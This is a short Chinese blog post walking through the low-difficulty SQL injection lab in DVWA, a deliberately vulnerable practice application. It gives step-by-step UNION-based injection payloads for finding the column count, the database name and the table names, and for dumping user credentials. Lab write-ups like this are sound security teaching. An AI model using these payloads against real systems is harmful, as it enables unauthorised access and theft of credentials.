SQL注入

一、LOW难度SQL注入

1.判断注入类型

1.输入1

2.输入 1' and 1=2，报错

3.输入 1' and 1=2 #，无报错

得知为字符型注入

2.猜字段数

方法有两种：
① 1' order by N #
② 1' union select 1, 2, ... #
采用第一种方法
输入 1' order by 2 #无报错
输入 1' order by 3 #报错
得知字段数为2

3.查库名

-1' union select 1, database() #

得到库名为dvwa

4.查表和字段

首先了解information_schema的结构

输入-1' union select group_concat(table_name), 2 from information_schema.tables where table_schema = database() #，得到表名

查看user表中的字段
输入 -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

得到user表中的字段

输入 -1' union select user, password from users #
当然也可以使用-1' union select group_concat(user), group_concat(password) from users #
得到所有的用户名和密码

标签：group,union,练习,OWASP,报错,select,靶场,输入,user
来源： https://www.cnblogs.com/yellowflag/p/14673293.html